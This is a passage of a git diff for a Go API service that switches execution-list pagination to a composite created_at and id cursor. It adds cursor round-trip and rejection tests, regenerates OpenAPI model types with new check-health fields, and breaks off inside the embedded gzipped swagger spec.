req.Params.Status, req.Params.Target, req.Params.Action, req.Params.CorrelationId,
|
||||
cursorTime, cursorID, limit+1)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -64,7 +88,9 @@ func (s *Server) ListExecutions(ctx context.Context, req gen.ListExecutionsReque
|
||||
var next *string
|
||||
if len(items) > limit {
|
||||
items = items[:limit]
|
||||
next = &items[len(items)-1].Slug
|
||||
last := items[len(items)-1]
|
||||
cursor := formatExecutionCursor(last.CreatedAt, last.Id)
|
||||
next = &cursor
|
||||
}
|
||||
if items == nil {
|
||||
items = []gen.Execution{}
|
||||
@@ -72,6 +98,32 @@ func (s *Server) ListExecutions(ctx context.Context, req gen.ListExecutionsReque
|
||||
return gen.ListExecutions200JSONResponse{Items: items, NextCursor: next}, nil
|
||||
}
|
||||
|
||||
// Executions are ordered by (created_at DESC, entity_id DESC), so the cursor
|
||||
// has to carry both — created_at alone is not unique, and paginating on a
|
||||
// non-unique key drops or repeats rows at page boundaries.
|
||||
func formatExecutionCursor(createdAt time.Time, id uuid.UUID) string {
|
||||
return createdAt.UTC().Format(time.RFC3339Nano) + "," + id.String()
|
||||
}
|
||||
|
||||
func parseExecutionCursor(cursor *string) (*time.Time, *uuid.UUID, error) {
|
||||
if cursor == nil || *cursor == "" {
|
||||
return nil, nil, nil
|
||||
}
|
||||
rawTime, rawID, ok := strings.Cut(*cursor, ",")
|
||||
if !ok {
|
||||
return nil, nil, domain.ErrInvalidInput
|
||||
}
|
||||
t, err := time.Parse(time.RFC3339Nano, rawTime)
|
||||
if err != nil {
|
||||
return nil, nil, domain.ErrInvalidInput
|
||||
}
|
||||
id, err := uuid.Parse(rawID)
|
||||
if err != nil {
|
||||
return nil, nil, domain.ErrInvalidInput
|
||||
}
|
||||
return &t, &id, nil
|
||||
}
|
||||
|
||||
func (s *Server) GetExecution(ctx context.Context, req gen.GetExecutionRequestObject) (gen.GetExecutionResponseObject, error) {
|
||||
id, err := s.resolveEntityID(ctx, req.Id)
|
||||
if err != nil {
|
||||
|
||||
64
internal/httpapi/executions_cursor_test.go
Normal file
64
internal/httpapi/executions_cursor_test.go
Normal file
@@ -0,0 +1,64 @@
|
||||
package httpapi
|
||||
|
||||
import (
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/google/uuid"
|
||||
)
|
||||
|
||||
// The cursor carries both created_at and entity_id because executions are
|
||||
// ordered by the pair. created_at alone is not unique — several executions can
|
||||
// share a millisecond — and paginating on a non-unique key silently drops or
|
||||
// repeats rows at page boundaries. The previous cursor was the target slug,
|
||||
// which is far less unique still: every execution against the same host shares
|
||||
// it.
|
||||
func TestExecutionCursorRoundTrips(t *testing.T) {
|
||||
created := time.Date(2026, 7, 28, 9, 15, 30, 123456789, time.UTC)
|
||||
id := uuid.MustParse("018f3a2b-0000-7000-8000-000000000042")
|
||||
|
||||
cursor := formatExecutionCursor(created, id)
|
||||
|
||||
gotTime, gotID, err := parseExecutionCursor(&cursor)
|
||||
if err != nil {
|
||||
t.Fatalf("parse: %v", err)
|
||||
}
|
||||
if !gotTime.Equal(created) {
|
||||
t.Errorf("time round-trip: got %v, want %v", gotTime, created)
|
||||
}
|
||||
if *gotID != id {
|
||||
t.Errorf("id round-trip: got %v, want %v", *gotID, id)
|
||||
}
|
||||
}
|
||||
|
||||
func TestExecutionCursorNanosecondsSurvive(t *testing.T) {
|
||||
// Truncating to seconds would make the cursor ambiguous for executions
|
||||
// started in the same second, which is the normal case for a plan whose
|
||||
// steps run back to back.
|
||||
a := time.Date(2026, 7, 28, 9, 15, 30, 1, time.UTC)
|
||||
b := time.Date(2026, 7, 28, 9, 15, 30, 2, time.UTC)
|
||||
id := uuid.New()
|
||||
|
||||
if formatExecutionCursor(a, id) == formatExecutionCursor(b, id) {
|
||||
t.Error("cursors one nanosecond apart must not collide")
|
||||
}
|
||||
}
|
||||
|
||||
func TestExecutionCursorRejectsGarbage(t *testing.T) {
|
||||
empty := ""
|
||||
tm, id, err := parseExecutionCursor(&empty)
|
||||
if err != nil || tm != nil || id != nil {
|
||||
t.Errorf("empty cursor should mean 'no cursor', got %v/%v/%v", tm, id, err)
|
||||
}
|
||||
|
||||
if tm, id, err := parseExecutionCursor(nil); err != nil || tm != nil || id != nil {
|
||||
t.Errorf("nil cursor should mean 'no cursor', got %v/%v/%v", tm, id, err)
|
||||
}
|
||||
|
||||
for _, bad := range []string{"nonsense", "2026-07-28T09:15:30Z", "notatime,018f3a2b-0000-7000-8000-000000000042", "2026-07-28T09:15:30Z,notauuid"} {
|
||||
b := bad
|
||||
if _, _, err := parseExecutionCursor(&b); err == nil {
|
||||
t.Errorf("cursor %q should have been rejected", bad)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -86,6 +86,14 @@ const (
|
||||
CheckKindTcp CheckKind = "tcp"
|
||||
)
|
||||
|
||||
// Defines values for CheckLastHealth.
|
||||
const (
|
||||
CheckLastHealthDegraded CheckLastHealth = "degraded"
|
||||
CheckLastHealthDown CheckLastHealth = "down"
|
||||
CheckLastHealthHealthy CheckLastHealth = "healthy"
|
||||
CheckLastHealthUnknown CheckLastHealth = "unknown"
|
||||
)
|
||||
|
||||
// Defines values for CheckCreateKind.
|
||||
const (
|
||||
CheckCreateKindCertExpiry CheckCreateKind = "cert-expiry"
|
||||
@@ -273,10 +281,10 @@ const (
|
||||
|
||||
// Defines values for TrendDirection.
|
||||
const (
|
||||
Degrading TrendDirection = "degrading"
|
||||
Improving TrendDirection = "improving"
|
||||
Stable TrendDirection = "stable"
|
||||
Unknown TrendDirection = "unknown"
|
||||
TrendDirectionDegrading TrendDirection = "degrading"
|
||||
TrendDirectionImproving TrendDirection = "improving"
|
||||
TrendDirectionStable TrendDirection = "stable"
|
||||
TrendDirectionUnknown TrendDirection = "unknown"
|
||||
)
|
||||
|
||||
// Defines values for ListApprovalsParamsStatus.
|
||||
@@ -462,7 +470,13 @@ type Check struct {
|
||||
Id openapi_types.UUID `json:"id"`
|
||||
IntervalS int `json:"interval_s"`
|
||||
Kind CheckKind `json:"kind"`
|
||||
Slug string `json:"slug"`
|
||||
|
||||
// LastHealth This check's own most recent verdict. An entity's health is the worst of these across its enabled checks, so this is what explains *why* an entity is degraded. Null until the check first runs.
|
||||
LastHealth *CheckLastHealth `json:"last_health"`
|
||||
|
||||
// LastRunAt When this check last executed. Null = never run.
|
||||
LastRunAt *time.Time `json:"last_run_at"`
|
||||
Slug string `json:"slug"`
|
||||
|
||||
// Target Entity slug (instance-scoped)
|
||||
Target *string `json:"target"`
|
||||
@@ -477,6 +491,9 @@ type Check struct {
|
||||
// CheckKind defines model for Check.Kind.
|
||||
type CheckKind string
|
||||
|
||||
// CheckLastHealth This check's own most recent verdict. An entity's health is the worst of these across its enabled checks, so this is what explains *why* an entity is degraded. Null until the check first runs.
|
||||
type CheckLastHealth string
|
||||
|
||||
// CheckCreate defines model for CheckCreate.
|
||||
type CheckCreate struct {
|
||||
Config *map[string]interface{} `json:"config,omitempty"`
|
||||
@@ -8208,175 +8225,177 @@ func (sh *strictHandler) GetTrends(w http.ResponseWriter, r *http.Request, entit
|
||||
// Base64 encoded, gzipped, json marshaled Swagger object
|
||||
var swaggerSpec = []string{
|
||||
|
||||
"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",
|
||||
